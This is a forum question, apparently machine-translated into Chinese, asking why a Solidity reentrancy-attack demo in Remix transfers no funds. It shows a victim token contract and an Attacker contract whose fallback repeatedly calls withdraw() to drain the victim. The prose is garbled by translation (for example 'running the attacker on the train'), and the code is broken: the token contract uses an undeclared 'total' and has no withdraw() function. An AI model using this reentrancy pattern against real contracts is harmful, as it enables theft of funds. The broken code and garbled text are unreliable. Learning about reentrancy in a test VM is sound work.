我的确很坚强,这太奇怪了。
我在Remix上的JavaScript VM中使用了这段代码,以使重入攻击起作用。
但是,当我在火车上运行合同攻击者时,我在合同攻击者中调用了deposit()函数。没有钱被转移。我想知道为什么会这样。
pragma solidity^0.5.0;
contract TestToken {
mapping (address => uint256) balances;
constructor() public {
total = 0;
}
function deposit() public payable returns (bool success) {
if (balances[msg.sender] + msg.value < msg.value) return false;
if (total + msg.value < msg.value) return false;
balances[msg.sender] += msg.value;
total += msg.value;
return true;
}
}
contract Attacker {
// uint256 count;
TestToken token;
uint256 _value;
event logString(uint256, uint256, uint256);
constructor () public payable {
}
function deposit(address _tokenAddress) public payable {
token = TestToken(_tokenAddress);
_value = address(this).balance;
// token.deposit.value(_value)();
_tokenAddress.call.value(address(this).balance)(abi.encode(bytes4(keccak256("deposit()"))));
}
function attack(address _tokenAddress) public {
token = TestToken(_tokenAddress);
token.withdraw(_value);
}
function() external payable {
emit logString(address(this).balance, msg.value, address(token).balance);
if (address(token).balance > msg.value) token.withdraw(msg.value);
}
function getBalance() public view returns(uint) { return address(this).balance; }
function getTestTokenBalance() public view returns(uint) { return address(token).balance; }
}
我花了三天时间解决这个问题。现在不是问题所在,我只是想知道什么样的问题会困扰我这么久。
如果您能指出这一点,我会说您比我聪明。请
// This line is not working.
_tokenAddress.call.value(address(this).balance)(abi.encode(bytes4(keccak256("deposit()"))));